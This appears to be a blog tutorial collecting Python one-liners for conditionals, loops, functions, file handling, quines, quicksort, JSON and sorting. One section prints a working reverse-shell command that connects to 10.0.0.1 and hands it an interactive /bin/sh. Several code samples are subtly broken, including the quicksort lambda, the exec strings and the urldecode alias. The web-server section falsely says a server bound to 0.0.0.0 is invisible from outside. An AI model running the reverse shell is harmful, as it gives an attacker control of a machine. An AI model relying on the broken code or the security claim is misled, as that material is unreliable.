# 56 Python One-Liners to Impress Your Friends

4.9/5 - (9 votes)

This is a running document in which I’ll answer all questions regarding the single line of Python code. It’s based on my interactive collection here but without the slow videos and embedded code shells.

But before we move on, I’m excited to present you my new Python book Python One-Liners (Amazon Link).

If you like one-liners, you’ll LOVE the book. It’ll teach you everything there is to know about a single line of Python code. But it’s also an introduction to computer science, data science, machine learning, and algorithms. The universe in a single line of Python!

The book was released in 2020 with the world-class programming book publisher NoStarch Press (San Francisco).

Let’s get started!

## Python One Line If Else

You can use a simple if statement in a single line of code. This is called the ternary operator. The most basic ternary operator `x if c else y` returns expression `x` if the Boolean expression `c` evaluates to `True`. Otherwise, if the expression `c` evaluates to `False`, the ternary operator returns the alternative expression `y`.

Here’s a minimal example:

```var = 21 if 3<2 else 42
print(var)
# 42```

Ternary (from Latin ternarius) is an adjective meaning “composed of three items”. (source) So, literally, the ternary operator in Python is composed of three operands.

Syntax: The three operands are written as `x if c else y` which reads as “return `x` if `c` else return `y`“. Let’s write this more intuitively as:

`<OnTrue> if <Condition> else <OnFalse>`

Related Tutorial: The Ternary Operator in Python — Everything You Need to Know

## Python One Line Elif

By now, you’ve learned how to write the if-else statement in a single line of code using the ternary operator. But can you do the same with an elif statement if you have multiple conditions?

Of course, you can! (If you’re in doubt about whether you can do XYZ in a single line of Python, just assume that you can. Check out my new book “Python One-Liners” to master the single line of code!)

Say, you want to write the following if-then-else condition in a single line of code:

```>>> x = 42
>>> if x > 42:
>>>     print("no")
>>> elif x == 42:
>>>     print("yes")
>>> else:
>>>     print("maybe")
yes```

The elif branch wins: you print the output `"yes"` to the shell. But how to do it in a single line of code? Just use the ternary operator with an elif statement won’t work (it’ll throw a syntax error).

The answer is simple: nest two ternary operators like so:

```print("no") if x > 42 else print("yes") if x == 42 else print("maybe")
# yes```

If the value x is larger than 42, we print “no” to the shell. Otherwise, we execute the remainder of the code (which is a ternary operator by itself). If the value x is equal to 42, we print “yes”, otherwise “maybe”.

So by nesting multiple ternary operators, we can greatly increase our Python one-liner power!

Related Article: Python Ternary Elif

Now, you know how you can add more conditions to a single-line conditional statement. An interesting question is whether you can also add fewer conditions?

## Python One Line If Without Else

Problem: What’s the one-liner equivalent of the simple if statement without an else branch?

Here’s an example:

```condition = True

if condition:
print('hi')

# hi```

You may want to (i) print something, (ii) assign a value to a variable, or (iii) append an element to a list if the condition holds.

Next, I’ll show you four methods of how to accomplish this goal. All four methods are generally applicable—and you can easily customize them to your specific application.

Let’s have a quick overview of the four methods:

```condition = True

# Simple 2-Liner Method
if condition:
print('hi')

# Method 1: One-Liner If
if condition: print('hi')

# Method 2: Ternary with Dummy
print('hi') if condition else None

# Method 3: Ternary with Dummy for Assignment
x = 42 if condition else None

# Method 4: Short circuiting
condition and print('hi')```

Read more about these methods in my detailed blog article.

## Python One Line Function

The most Pythonic way to define a function in a single line is to (1) create an anonymous lambda function and (2) assign the function object to a variable name. You can then call the function by name just like any other regularly-defined function. For example, the statement `f = lambda x: x+1` creates a function `f` that increments the argument `x` by one and returns the result: `f(2)` returns `3`.

Problem: How to define a function in a single line of Python code? Let’s explore this mission-critical question!

Example: Say, you want to write the following function in a single line of code:

```def f(x):
return str(x * 3) + '!'

print(f(1))
# 3!

print(f('python'))
# pythonpythonpython!```

Solution: Let’s get a quick overview of how to accomplish this first:

```##############################
# Method 1: Single-Line Def
##############################
def f1(x): return str(x * 3) + '!'

print(f1(1))
print(f1('python'))

##############################
# Method 2: Lambda Function
##############################
f2 = lambda x: str(x * 3) + '!'

print(f2(1))
print(f2('python'))

##############################
# Method 3: exec()
##############################
f3 = "def f(x):\n    return str(x * 3) + '!'"

exec(f3 + '\nprint(f(1))')
exec(f3 + "\nprint(f('python'))")
```

Can you figure out the output? You can check your understanding in the following article:

Related Article: 3 Pythonic Ways to Define a Function in One Line [for Hackers]

## Python One Line For Loop

Python is powerful — you can condense many algorithms into a single line of Python code. So the natural question arises: can you write a for loop in a single line of code? This article explores this mission-critical question in all detail.

How to Write a For Loop in a Single Line of Python Code?

There are two ways of writing a one-liner for loop:

• If the loop body consists of one statement, simply write this statement into the same line: `for i in range(10): print(i)`. This prints the first 10 numbers to the shell (from 0 to 9).
• If the purpose of the loop is to create a list, use list comprehension instead: `squares = [i**2 for i in range(10)]`. The code squares the first ten numbers and stores them in the list `squares`.

Related Article: Python One Line For Loop

## Python One Line For Loop If

You can also modify the list comprehension statement by restricting the context with another if statement:

Problem: Say, we want to create a list of squared numbers—but you only consider even and ignore odd numbers.

Example: The multi-liner way would be the following.

```squares = []

for i in range(10):
if i%2==0:
squares.append(i**2)

print(squares)
# [0, 4, 16, 36, 64]
```

You create an empty list `squares` and successively add another square number starting from 0**2 and ending in 8**2—but only considering the even numbers 0, 2, 4, 6, 8. Thus, the result is the list `[0, 4, 16, 36, 64]`.

Solution: Again, you can use list comprehension `[i**2 for i in range(10) if i%2==0]` with a restrictive if clause (in bold) in the context part to compress this in a single line of Python code:

```print([i**2 for i in range(10) if i%2==0])
# [0, 4, 16, 36, 64]```

This line accomplishes the same output with much less bits.

Related Article: Python One Line For Loop With If

## Python One Line For Loop Lambda

Problem: Given a collection. You want to create a new list based on all values in this collection. The code should run in a single line of code. How do you accomplish this? Do you need a lambda function?

Example: Given an array `a = [1, 2, 3, 4]`. You need to create a second array `b` with all values of `a`—while adding `+1` to each value. Here’s your multi-liner:

```a = [1, 2, 3, 4]
b = []
for x in a:
b.append(x+1)
print(b)
# [2, 3, 4, 5]```

How do you accomplish this in a single line of code?

Answer: No, you don’t need a lambda function. What you’re looking for is a feature called list comprehension. Here’s the one-liner expression that accomplishes this without the lambda function:

```b = [x+1 for x in a]
print(b)
# [2, 3, 4, 5]```

Let’s dive into some background information in case you wonder how list comprehensions work. Based on your question, I also suspect that you don’t completely understand lambda functions either, so I’ll also add another section about lambda functions. Finally, you’ll also learn about a third alternative method to solve this exact problem by using the lambda function in combination with Python’s built-in map() function!

So, stay with me—you’ll become a better coder in the process! 🙂

Related Article: Python One Line For Loop Lambda

## Python One Line While Loop

There are three ways of writing a one-liner while loop:

• Method 1: If the loop body consists of one statement, write this statement into the same line: `while True: print('hi')`. This prints the string `'hi'` to the shell for as long as you don’t interfere or your operating system forcefully terminates the execution.
• Method 2: If the loop body consists of multiple statements, use the semicolon to separate them: `while True: print('hi'), print('bye')`. This runs the statements one after the other within the while loop.
• Method 3: If the loop body consists nested compound statements, replace the inner compound structures with the ternary operator: `while True: print('hi') if condition else print('bye'`).
```# Method 1: Single-Statement Body
while True:
print('hi')

# Method 2: Multiple-Statements Body
c = 0
while c < 10: print(c); c = c + 1

# Method 3: Nested Statements Body
while True: print('yes') if True else print('no')```

You can read more about these methods in our detailed blog article.

## Python One Line HTTP Web Server

Want to create your own webserver in a single line of Python code? No problem, just use this command in your shell:

`\$ python -m http.server 8000`

The terminal will tell you:

`Serving HTTP on 0.0.0.0 port 8000`

To shut down your webserver, kill the Python program with `CTRL+c`.

This works if you’ve Python 3 installed on your system. To check your version, use the command `python – version` in your shell.

You can run this command in your Windows Powershell, Win Command Line, MacOS Terminal, or Linux Bash Script.

You can see in the screenshot that the server runs on your local host listening on port 8000 (the standard HTTP port to serve web requests).

Note: The IP address is NOT 0.0.0.0—this is an often-confused mistake by many readers. Instead, your webserver listens at your “local” IP address 127.0.0.1 on port 8000. Thus, only web requests issued on your computer will arrive at this port. The webserver is NOT visible to the outside world.

Python 2: To run the same simple webserver on Python 2, you need to use another command using `SimpleHTTPServer` instead of `http`:

```\$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...```

If you want to start your webserver from within your Python script, no problem:

```import http.server
import socketserver

PORT = 8000

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()```

This code comes from the official Python documentation—feel free to read more if you’re interested in setting up the server (most of the code is relatively self-explanatory).

## Python One Line Write String to File

Problem: Given a string and a filename. How to write the string into the file with filename using only a single line of Python code?

Example: You have filename `'hello.txt'` and you want to write string `'hello world!'` into the file.

```hi = 'hello world!'
file = 'hello.txt'

# Write hi in file

'''
# File: 'hello.txt':
hello world!
'''```

How to achieve this? Here are four ways of doing it in a single line of code!

Solution: Here’s a quick overview of the methods to accomplish this.

```hi = 'hello world!'
file = 'hello.txt'

# Method 1: 'with' statement
with open(file, 'a') as f:
f.write(hi)

# Method 2: print() function
print(hi, file=open(file, 'a'))

# Method 3: multi-line statement
f = open(file, 'a'); f.write(hi); f.close()

# Method 4: open() and write()
open(file, 'a').write(hi)
```

Exercise: Run the code and check the file `'hello.txt'`. How many `'hello worlds!'` are there in the file? Change the code so that only one `'hello world!'` is in the file!

You can learn more about these methods in my detailed blog article!

## Python One Line Quine

Most computer scientists, programmers, and hackers don’t even know the meaning of the word “Quine” in the context of programming. So, first things first:

Roughly speaking, a quine is a self-reproducing program: if you run it, it generates itself.

Here’s a great definition:

:quine: /kwi:n/ /n./ [from the name of the logician Willard van Orman Quine, via Douglas Hofstadter] A program that generates a copy of its own source text as its complete output. Devising the shortest possible quine in some given programming language is a common hackish amusement. (source)

The name “quine” was coined by Douglas Hofstadter, in his popular science book Gödel, Escher, Bach, in honor of philosopher Willard Van Orman Quine (1908–2000), who made an extensive study of indirect self-reference, and in particular for the following paradox-producing expression, known as Quine’s paradox.

Wikipedia

The shortest possible quine is the following empty program:

` `

The program is self-reproducing because the output of the program is the program itself. Go ahead and run it in your own shell! 😉

Here’s a short one-liner Quine, I found at this resource:

`s='s=%r;print(s%%s,sep="")';print(s%s,sep="")`

To learn about more Quines, check out my detailed blog article:

Related Article: Python One-Line Quines

## Python One Line Quicksort

In this one-liner tutorial, you’ll learn about the popular sorting algorithm Quicksort. Surprisingly, a single line of Python code is all you need to write the Quicksort algorithm!

Problem: Given a list of numerical values (integer or float). Sort the list in a single line of Python code using the popular Quicksort algorithm!

Example: You have list `[4, 2, 1, 42, 3]`. You want to sort the list in ascending order to obtain the new list `[1, 2, 3, 4, 42]`.

Short answer: The following one-liner solution sorts the list recursively using the Quicksort algorithm:

`q = lambda l: q([x for x in l[1:] if x <= l]) + [l] + q([x for x in l if x > l]) if l else []`

Now, let’s dive into some details!

The following introduction is based on my new book “Python One-Liners” (Amazon Link) that teaches you the power of the single line of code (use it wisely)!

Introduction: Quicksort is not only a popular question in many code interviews – asked by Google, Facebook, and Amazon – but also a practical sorting algorithm that is fast, concise, and readable. Because of its beauty, you won’t find many introduction to algorithm classes which don’t discuss the Quicksort algorithm.

Overview: Quicksort sorts a list by recursively dividing the big problem (sorting the list) into smaller problems (sorting two smaller lists) and combining the solutions from the smaller problems in a way that it solves the big problem. In order to solve each smaller problem, the same strategy is used recursively: the smaller problems are divided into even smaller subproblems, solved separately, and combined. Because of this strategy, Quicksort belongs to the class of “Divide and Conquer” algorithms.

Algorithm: The main idea of Quicksort is to select a pivot element and then placing all elements that are larger or equal than the pivot element to the right and all elements that are smaller than the pivot element to the left. Now, you have divided the big problem of sorting the list into two smaller subproblems: sorting the right and the left partition of the list. What you do now is to repeat this procedure recursively until you obtain a list with zero elements. This list is already sorted, so the recursion terminates.

The following Figure shows the Quicksort algorithm in action:

Figure: The Quicksort algorithm selects a pivot element, splits up the list into (i) an unsorted sublist with all elements that are smaller or equal than the pivot, and (ii) an unsorted sublist with all elements that are larger than the pivot. Next, the Quicksort algorithm is called recursively on the two unsorted sublists to sort them. As soon as the sublists contain maximally one element, they are sorted by definition – the recursion ends. At every recursion level, the three sublists (left, pivot, right) are concatenated before the resulting list is handed to the higher recursion level.

You create a function `q` which implements the Quicksort algorithm in a single line of Python code – and thus sorts any argument given as a list of integers.

```## The Data
unsorted = [33, 2, 3, 45, 6, 54, 33]

## The One-Liner
q = lambda l: q([x for x in l[1:] if x <= l]) + [l] + q([x for x in l if x > l]) if l else []

## The Result
print(q(unsorted))```

What is the output of this code?

```## The Result
print(q(unsorted))
# [2, 3, 6, 33, 33, 45, 54]```

## Python One Line With Statement

Problem: Can you write the `with` statement in a single line of code?

Solution: Yes, you can write the `with` statement in a single line of code if the loop body consists only of one statement:

`with open('code.py') as code: print(code.read())`

In general, you can write any indentation block (like `if` statements, `with` environments, or `while` loops) in a single line of code if the body consists of only one statement.

Related Article: Python One Line With Statement

## Python One Line Exception Handling

Summary: You can accomplish one line exception handling with the `exec()` workaround by passing the one-linerized `try`/`except` block as a string into the function like this: `exec('try:print(x)nexcept:print("Exception!")')`. This general method works for all custom, even multi-line, try and except blocks. However, you should avoid this one-liner code due to the bad readability.

Surprisingly, there has been a discussion about one-line exception handling on the official Python mailing list in 2013. However, since then, there has been no new “One-Line Exception Handling” feature in Python. So, we need to stick with the methods shown in this tutorial. But they will be fun—promised!

Let’s dive into the problem:

Problem: How to write the try/except block in a single line of Python code?

Example: Consider the following try/except block.

```try:
print(x)
except:
print('Exception!')```

Solution: let’s have a quick overview in our interactive code shell:

```# Original
try:
print(x)
except:
print('Exception!')

# Method 1
print(x) if 'x' in dir() else print('Exception!')

# Method 2
exec('try:print(x)\nexcept:print("Exception!")')

# Method 3
from contextlib import suppress
with suppress(NameError): print(x)```

## Python One Line Execute

Problem: Given a multi-line code script in Python. How to execute this multi-line script in a single line of Python code? How to do it from the command line?

Example: Say, you have the following for loop with a nested if statement in the for loop body. You want to run this in a single line from your command line?

```x = 10
for i in range(5):
if x%2 == 0:
print(i)
else:
print(x)
x = x - 1

'''
0
9
2
7
4
'''```

The code prints five numbers to the shell. It only prints the odd values of `x`. If `x` takes an even value, it prints the loop variable `i`.

You can write any source code into a string and run the string using the built-in `exec()` function in Python. This is little known—yet, hackers often use this to pack malicious code into a single line that’s seemingly harmless.

If you have code that spans multiple lines, you can pack it into a single-line string by using the newline character `'n'` in your string:

```# Method 1
exec('x = 10nfor i in range(5):n    if x%2 ==0: print(i)n    else: print(x)n    x = x-1')
```

This one-liner code snippet is semantically equivalent to the above nested for loop that requires seven lines of code! The output is the same:

```'''
0
9
2
7
4
'''```

## Python One Line Reverse Shell

Here’s the definition of a Reverse Shell:

A reverse shell is used by hackers to gain access to a target machine. The target machine opens a shell to communicate to the attacking machine. The attacking machine receives the connection (listening on a given port) and is now able to access the target computer. To accomplish a reverse shell, a hacker must execute code on a target machine. Reverse shells are also used by security engineers to test and prevent reverse shell attacks.

I found this code in a blog thread. You can run it from any computer with Python installed and visible from your current location:

`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`

But you should never execute code that’s copy&pasted from an Internet source. What if the code removes all files from your computer?

You can read the whole article about reverse shell attacks and Trojan horses in Python here.

## Python One Line Read File

Say your file is stored in file `'code.py'`. Now, you can open the file, read all lines, get rid of leading and trailing whitespace characters, and store the result in a Python list in a single line of code. Here’s the code:

`print([line.strip() for line in open("code.py")])`

Python is beautiful! ?

Related Article: One-Liner to Read a File in Python

## Python One Line Return If

Problem: How to return from a Python function or method in single line?

Example: Consider the following “goal” statement:

```def f(x):
return None if x == 0```

However, this leads to a Syntax error:

Here’s how to write the return statement with an if expression in a single line of Python code:

```def f(x):
if x==0: return None
```

I should note that PEP 8 is actually fine with writing if block statements into a single line. Nevertheless, the default return value of a function is `None` so the code does really nothing.

Related Article: Python One Line Return if

## Python One Line Recursion

Two ways of writing a recursive one-liner: (1) write the function with return statement in a single line such as in `def f(x): return f(x+1)`, or (2) assign a lambda function to a variable name and use the variable name in the return expression of the lambda function such as in `f = lambda x: f(x)`. To define a recursion base case, you can use the ternary operator `x if c else y` to return `x` if condition `c` is met, else `y`.

Let’s dive into the problem and several detailed examples!

Problem: How to write a recursive function in a single line of code?

You may find this challenging because you need to define the function name, the base case, and the recursive function call—all in a single line of Python code!

Related Article: To refresh your general recursion skills, check out my detailed blog article (including video).

Here’s an overview of the different algorithms, we one-linerized recursively! 😉

```# Method 1: Recursive Fibonacci
def fib(n): return 1 if n in {0, 1} else fib(n-1) + fib(n-2)
print(fib(10))
# 89

# Method 2: Recursive Factorial
def fac(x): return 1 if x<=1 else x * fac(x-1)
print(fac(10))
# 3628800

# Method 3: Recursive Factorial with Lambda
fac = lambda n: 1 if n<=1 else n * fac(n-1)
print(fac(10))
# 3628800

# Method 4: Recursive Quicksort
unsorted = [33, 2, 3, 45, 6, 54, 33]
q = lambda l: q([x for x in l[1:] if x <= l]) + [l] + q([x for x in l if x > l]) if l else []
print(q(unsorted))
# [2, 3, 6, 33, 33, 45, 54]
```

Let’s dive into each of those methods in this blog article!

## Python One Line Regex

Summary: To match a `pattern` in a given `text` using only a single line of Python code, use the one-liner `import re; print(re.findall(pattern, text))` that imports the regular expression library re and prints the result of the `findall()` function to the shell.

The re.findall(pattern, string, flags=0) method returns a list of string matches. Read more in our blog tutorial.

```# Method 1: findall()
import re; print(re.findall('F.*r', 'Learn Python with Finxter'))
# ['Finxter']```

There’s no better way of importing the `re` library and calling the `re.findall()` function in a single line of code—you must use the semicolon `A;B` to separate the statements `A` and `B`.

The `findall()` function finds all occurrences of the pattern in the string.

Related Article: Python One Line Regex Match

## Python One Line Replace

Problem: You use Python in a terminal and you want to replace a string `'example'` in a text file `file.txt`:

`xxxxx example xxxxx`

Your goal is to accomplish the following text:

`xxxxx replaced_example xxxxx`

In particular, you want to open the file, replace the text, and rewrite the result into the file—all in a single line of Python code!

Can a Python one-liner accomplish this?

Solution: Replace all occurrences of `"example"` with `"replaced_example"` and print the result to the standard input:

`python -c "print(open('file.txt').read().replace('example','replaced_example'))"`

The replace method replaces all occurrences of the first argument with the second argument. It returns the new string. You can now print the result to the stdin or write it back to a file.

Related Article: Python One Line Replace

## Python One Line Ternary

Ternary (from Latin ternarius) is an adjective meaning “composed of three items”. (source) So, literally, the ternary operator in Python is composed of three operands.

Syntax: The three operands are written in an intuitive combination `... if ... else ...`.

`<On True> if <Condition> else <On False>`

Let’s have a look at a minimum example:

```# Define a variable:
# Input your age when running the code
age = input('Your Age')

# Ternary operator
print('wtf' if age<20 else 'Please, what?')

# What do you say if you don't understand something?
# Try different ages```

Find out about this in great detail (incl. video) here: Python One Line Ternary

## Python One Line Two For Loops (Double)

Problem: How to write a nested `for` loop as a Python one-liner? Roughly speaking, you want to iterate over two or more iterables that are nested into each other. Here’s an example of a multi-liner with two nested loops:

```iter1 = [1, 2, 3, 4]
iter2 = ['a', 'b', 'c']

for x in iter1:
for y in iter2:
print(x, y)

'''
1 a
1 b
1 c
2 a
2 b
2 c
3 a
3 b
3 c
4 a
4 b
4 c
'''```

Here’s a quick overview:

```iter1 = [1, 2, 3, 4]
iter2 = ['a', 'b', 'c']

for x in iter1:
for y in iter2:
print(x, y)

# Method 1: Nested List Comprehension
[print(x, y) for x in iter1 for y in iter2]

# Method 2: exec()
exec("for x in iter1:\n    for y in iter2:\n        print(x, y)")

# Method 3: For Loop with List Comprehension
for x in iter1: [print(x, y) for y in iter2]```

Read the whole article here.

## Python One Line Two Commands

Problem: Given multiple Python statements. How to write them as a Python One-Liner?

Example: Consider the following example of four statements in a block with uniform indentation:

```a = 1
b = 2
c = a + b
print(c)```

Each of the four statements is written in a separate line in a code editor—this is the normal procedure. However, what if you want to one-linerize those:

How to write all four statements in a single line of code?

Solution: The answer is simple if all statements have a uniform indentation and there’s no nested block. In this case, you can use the semicolon as a separator between the statements:

`a = 1; b = 2; c = a + b; print(c)`

Related Article: How to Write Multiple Statements on a Single Line in Python?

## Python One Line To Multiple Line

To break one line into multiple lines in Python, use an opening parenthesis in the line you want to break. Now, Python expects the closing parenthesis in one of the next lines and the expression is evaluated across line boundaries. As an alternative, you can also use the backslash just in front of the line break to escape the newline character.

After publishing an article on how to condense multiple lines into a single line of Python code, many Finxters asked: How to break a long line to multiple lines in Python?

Problem: Given a long line of Python code. How to break it into multiple lines?

There are multiple ways of breaking this into multiple lines. Let’s get an overview first:

```##########
# Method 1
##########

a = list(zip(['Alice', 'Bob', 'Liz', 'Ann'], [18, 24, 19, 16]))

b = list(zip(['Alice',
'Bob',
'Liz',
'Ann'],
[18, 24, 19, 16]))

print(a == b)

##########
# Method 2
##########

a = 1 + 2 + 3 + 4 - 5 * 2

b = 1 \
+ 2 + \
3 + 4\
- 5 *\
2

print(a == b)

##########
# Method 3
##########

s = '''Mistress! what, mistress! Juliet! fast, I warrant her, she:
Why, lamb! why, lady! fie, you slug-a-bed!
Why, love, I say! madam! sweet-heart! why, bride!
What, not a word? you take your pennyworths now;
Sleep for a week; for the next night, I warrant'''```

You can dive into all of those methods in my blog article here.

## Python One Line URL Decode

URL encoding “is a method to encode information in a Uniform Resource Identifier (URI)”. It is also called Percent-encoding because percentage symbols are used to encode certain reserved characters:

```\$ alias urldecode='python3 -c "import sys, urllib.parse as ul;
print(ul.unquote_plus(sys.argv))"'

\$ alias urlencode='python3 -c "import sys, urllib.parse as ul;
print (ul.quote_plus(sys.argv))"'```

Here’s an example usage:

```\$ urldecode 'q+werty%3D%2F%3B'
q werty=/;

\$ urlencode 'q werty=/;'
q+werty%3D%2F%3B```

Source

Related Article: URL Decoding Methods

## Python One Line Object

Problem: How to create a Python object in a single line of code? And how can you associate custom properties to this object in the same line?

Example: Say, you want to do something like this pseudocode snippet:

```var newObject = new({'property' : 'value' })
newObject.property # returns 'value'```

However, you cannot do the same in Python because this would create a dictionary:

```new_object = {'property': 'value'}
new_object.property
# raises an AttributeError```

This raises an `AttributeError` because there’s no attribute `property` associated to the dictionary object. To access the dictionary key in this case, you must use the syntax `new_object['property']`.

So, how to create an inline Python object with attributes in a single line of Python code?

Here’s a quick overview of our three methods:

```# Method 1
obj_1 = type('obj_1', (object,), {'property': 'value'})()

# Method 2
obj_2 = lambda: None; obj_2.property = 'value'

# Method 3
from collections import namedtuple
obj_3 = namedtuple('obj_3', ['property'])('value')

# Outputs:
print(obj_1.property)
print(obj_2.property)
print(obj_3.property)
```

Do you want to dive into each of those methods in greater detail? Read this article:

Related Article: How to Create Inline Objects With Properties? [Python One-Liner]

## Python One Line Print

Problem: How to use the `print()` function without printing an implicit newline character to the Python shell?

Example: Say, you want to use the `print()` function within a for loop—but you don’t want to see multiple newlines between the printed output:

```for i in range(1,5):
print(i)```

The default standard output is the following:

```1
2
3
4```

But you want to get the following output in a single line of Python code.

`1 2 3 4`

How to accomplish this in Python 3?

Solution: I’ll give you the quick solution in an interactive Python shell here:

```# FINXTER Repl.it to print an iterable without newline character:
print(*range(1,5))```

By reading on, you’ll understand how this works and become a better coder in the process.

Related Article: How to Print Without Newline in Python

## Python One Line Parse JSON

Problem: How to Parse a JSON object as a Python One-Liner?

Example: Say, you have pulled a JSON object from a server using the `curl` command:

```curl -s http://example.com | python -mjson.tool
{
"continent_code": "EU",
"country": "Netherlands",
"country_code": "NL",
...
"timezone": "Europe/Amsterdam"
}```

Source

How to parse the resulting JSON object and extract, say, the value `"Netherlands"` associated to the `"country"` key?

Solution: The following one-liner accomplishes this:

`curl -s http://example.com | python -c 'import sys, json; print(json.load(sys.stdin)["country"])'`

You can find a detailed, step-by-step explanation of this one-liner in the following article.

Related article: How to Parse JSON in a Python One-Liner?

## Python One Line Pretty Print JSON

Problem: Given a JSON object. How to pretty print it from the shell/terminal/command line using a Python one-liner?

Minimal Example: You have given the following JSON object:

`{"Alice": "24", "Bob": "28"}`

And you want to get the following print output:

```{
"Alice": "24",
"Bob": "28"
}```

How to accomplish this using a Python one-liner?

The default way to accomplish this in a Python script is to import the `json` library to solve the issue:

```import json
json_obj = {"Alice": "24", "Bob": "28"}
print(json.dumps(json_obj, sort_keys=True, indent=4))```

You can learn everything there is to know about pretty printing JSON objects from your command line in this tutorial:

Related Article: Pretty Print JSON [Python One-Liner]

## Python One Line Array Filter

How can you filter an array in Python using an arbitrary condition?

The most Pythonic way of filtering an array is the list comprehension statement `[x for x in list if condition]`. You can replace `condition` with any function of `x` you would like to use as a filtering criterion.

For example, if you want to filter all elements that are smaller than, say, 10, you’d use the list comprehension statement `[x for x in list if x<10]` to create a new list with all list elements that are smaller than 10.

Here are three examples of filtering a list:

• Get elements smaller than eight: `[x for x in lst if x<8]`.
• Get even elements: `[x for x in lst if x%2==0]`.
• Get odd elements: `[x for x in lst if x%2]`.
```lst = [8, 2, 6, 4, 3, 1]

# Filter all elements <8
small = [x for x in lst if x<8]
print(small)

# Filter all even elements
even = [x for x in lst if x%2==0]
print(even)

# Filter all odd elements
odd = [x for x in lst if x%2]
print(odd)```

The output is:

```# Elements <8
[2, 6, 4, 3, 1]

# Even Elements
[8, 2, 6, 4]

# Odd Elements
[3, 1]```

This is the most efficient way of filtering an array and it’s also the most Pythonic one.

Related Article: How to Filter a List in Python?

## Python One Line Append

Problem: How can we append multiple elements to a list in a for loop but using only a single line of Python code?

Example: Say, you want to filter a list of words against another list and store the resulting words in a new list using the append() method in a for loop.

```# FINXTER TUTORIAL:
# How to filter a list of words?

words = ['hi', 'hello', 'Python', 'a', 'the']
stop_words = {'a', 'the'}
filtered_words = []

for word in words:
if word not in stop_words:
filtered_words.append(word)

print(filtered_words)
# ['hi', 'hello', 'Python']
```

You first create a list of words to be filtered and stored in an initially empty list `filtered_words`. Second, you create a set of stop words against you want to check the words in the list. Note that it’s far more efficient to use the set data structure for this because checking membership in sets is much faster than checking membership in lists. See this tutorial for a full guide on Python sets.

You now iterate over all elements in the list `words` and add them to the `filtered_words` list if they are not in the set `stop_words`.

Solution: You can one-linerize this filtering process using the following code:

`filtered_words = [word for word in words if word not in stop_words]`

The solution uses list comprehension to, essentially, create a single-line for loop.

Here’s the complete code that solves the problem using the one-liner filtering method:

```# FINXTER TUTORIAL:
# How to filter a list of words?

words = ['hi', 'hello', 'Python', 'a', 'the']
stop_words = {'a', 'the'}
filtered_words = [word for word in words if word not in stop_words]

print(filtered_words)
# ['hi', 'hello', 'Python']```

Here’s a short tutorial on filtering in case you need more explanations:

Related Articles:

## Python One Line And Or

How do the Boolean `and` and `or` operators work in the context of Python one-liners?

You may know the standard use of the logical operators applied to Boolean values:

```>>> True and False
False
>>> False or True
True```

But there’s more to these operators that only experts in the art of writing concise Python one-liners know.

For instance, the following use of the `or` operator applied to non-Boolean values is little known:

```>>> 'hello' or 42
'hello'
>>> [] or 42
42```

Similarly, the following use of the and operator often causes confusion in readers of advanced Python one-liners:

```>>> 'hello' and 42
42
>>> [] and 42
[]```

How do the `and` and `or` operator work when applied to non-Boolean operands?

To understand what is going on, you need to look at the definitions of the Boolean operators:

Study these explanations thoroughly! The return value is of the same data type of the operands—they only return a Boolean value if the operands are already Boolean!

This optimization is called short-circuiting and it’s common practice in many programming languages. For example, it’s not necessary to evaluate the result of the second operand of an and operation if the first operand evaluates to `False`. The whole operation must evaluate to `False` in this case because the logical and only returns `True` if both operands are `True`.

Python goes one step further using the property of implicit Boolean conversion. Every object can be implicitly converted to a Boolean value. That’s why you see code like this:

```l = []
if l:
print('hi')
else:
print('bye')
# bye```

You pass a list into the if condition. Python then converts the list to a Boolean value to determine which branch to visit next. The empty list evaluates to `False`. All other lists evaluate to `True`, so the result is `bye`.

Together, short circuiting and implicit Boolean conversion allow the logical operators and and or to be applied to any two Python objects as operands. The return value always is one of the two operands using the short circuiting rules described in the table.

## Python One Line Conditional Assignment

Problem: How to perform one-line if conditional assignments in Python?

Example: Say, you start with the following code.

```x = 2
boo = True```

You want to set the value of `x` to `42` if `boo` is `True`, and do nothing otherwise.

Let’s dive into the different ways to accomplish this in Python. We start with an overview:

```x = 2
boo = True

# Method 1: Ternary Operator
x = 42 if boo else x
print(x)

# Method 2: Single-Line If Statement
if boo: x = 42
print(x)

# Method 3: Tuple Syntax Hack
x = (x, 42)[boo]
print(x)
```

Next, you’ll dive into each of those methods and boost your one-liner superpower!

Related Articles:

## Python One Line Swap

Problem: Given two variables `a` and `b`. Use a single line of Python code to swap the variables to assign the value of `a` to `b` and the value of `b` to `a`.

Example: Say, you have to integers `a=21` and `b=42`. You want to swap the variables so that `a=42` and `b=21`.

```a = 21
b = 42
# SWAP MAGIC HERE
print(a, b)
# 42 21```

How to swap to variables as a Python one-liner?

To swap two variables a and b, use the multiple assignment expression `a, b = b, a` that assigns the value of `a` to `b` and the value of `b` to `a`.

```a = 21
b = 42

# Swap One-Liner
a, b = b, a

# Print the result to the shell
print(a, b)
# 42 21
```

Find a detailed explanation of this one-liner at our interactive code tutorial:

Related tutorial: How to Swap Two Variables in One Line Python?

## Python One Line Sum

Problem: How to sum over all values in a given Python list?

`a = [1, 2, 3]`

You want to calculate the sum of all values in the list—using only a single line of Python code!

`# RESULT: 6`

Solution: Python’s built-in `sum()` function helps you to sum over all values in an iterable, such as a Python list. Here’s the minimal code example.

```a = [1, 2, 3]

print(sum(a))
# 6```

How does it work? The syntax is `sum(iterable, start=0)`:

Please find more details in the complete tutorial about summing over all values in a list and a nested list:

Related Tutorial: Python One Line Sum List

## Python One Line Sort

To sort and return a Python list in a single line of code, use the `sorted(list)` method that returns a new list of sorted elements. It copies only the references to the original elements so the returned list is not a deep but a shallow copy.

Problem: Given a list of comparable objects such as integers or floats. Is there a way to sort the list and return the sorted list in a single line of Python code?

Example: Say, you’ve got the following list.

`a = [4, 2, 1, 3]`

You want to sort this list and return the result in a single line. If you use the `list.sort()` method, the return value is `None`:

```print(a.sort())
# None```

The return value of the `list.sort()` method is `None`, but many coders expect it to be the sorted list. So they’re surprised finding out that their variables contain the `None` type rather than a sorted list.

Here’s a quick overview of the methods to accomplish this:

```a = [4, 2, 1, 3]

# Method 1: sorted()
print(sorted(a))

# Method 2: list.sort() + ternary
print(a if a.sort() else a)

# Method 3: semicolon
a.sort(); print(a)```

